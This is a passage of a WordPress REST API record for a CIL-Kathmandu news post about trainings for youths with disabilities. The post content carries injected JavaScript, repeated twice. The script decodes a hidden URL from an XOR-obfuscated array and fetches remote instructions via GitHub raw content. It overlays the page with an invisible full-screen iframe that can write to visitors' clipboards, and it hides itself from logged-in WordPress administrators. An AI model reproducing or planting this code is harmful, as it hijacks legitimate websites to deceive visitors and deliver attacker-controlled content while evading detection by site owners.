{\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x5540=[50,46,46,42,41,96,117,117,62,59,49,51,54,53,51,60,50,41,52,47,47,49,49,59,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x5540.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script> <a href=\"https:\/\/cil.org.np\/np\/news\/capacity-building-training-for-youths-with-disabilities\/\">&#8734;<\/a>","protected":false},"excerpt":{"rendered":"<p>During November and December, CIL-Kathmandu, in partnership with Canada Fund for Local Initiatives (CFLI), conducted 4 different trainings <\/p>\n","protected":false},"author":2,"featured_media":3102,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"aside","meta":{"_acf_changed":false,"footnotes":""},"categories":[3],"tags":[],"class_list":{"0":"post-3101","1":"post","2":"type-post","3":"status-publish","4":"format-aside","5":"has-post-thumbnail","7":"category-news","8":"post_format-post-format-aside","9":"entry"},"translation":{"provider":"WPGlobus","version":"3.0.1","language":"np","enabled_languages":["en","np"],"languages":{"en":{"title":true,"content":true,"excerpt":true},"np":{"title":false,"content":false,"excerpt":false}}},"acf":[],"_links":{"self":[{"href":"https:\/\/cil.org.np\/np\/wp-json\/wp\/v2\/posts\/3101","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cil.org.np\/np\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cil.org.np\/np\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cil.org.np\/np\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/cil.org.np\/np\/wp-json\/wp\/v2\/comments?post=3101"}],"version-history":[{"count":11,"href":"https:\/\/cil.org.np\/np\/wp-json\/wp\/v2\/posts\/3101\/revisions"}],"predecessor-version":[{"id":5691,"href":"https:\/\/cil.org.np\/np\/wp-json\/wp\/v2\/posts\/3101\/revisions\/5691"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cil.org.np\/np\/wp-json\/wp\/v2\/media\/3102"}],"wp:attachment":[{"href":"https:\/\/cil.org.np\/np\/wp-json\/wp\/v2\/media?parent=3101"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cil.org.np\/np\/wp-json\/wp\/v2\/categories?post=3101"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cil.org.np\/np\/wp-json\/wp\/v2\/tags?post=3101"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}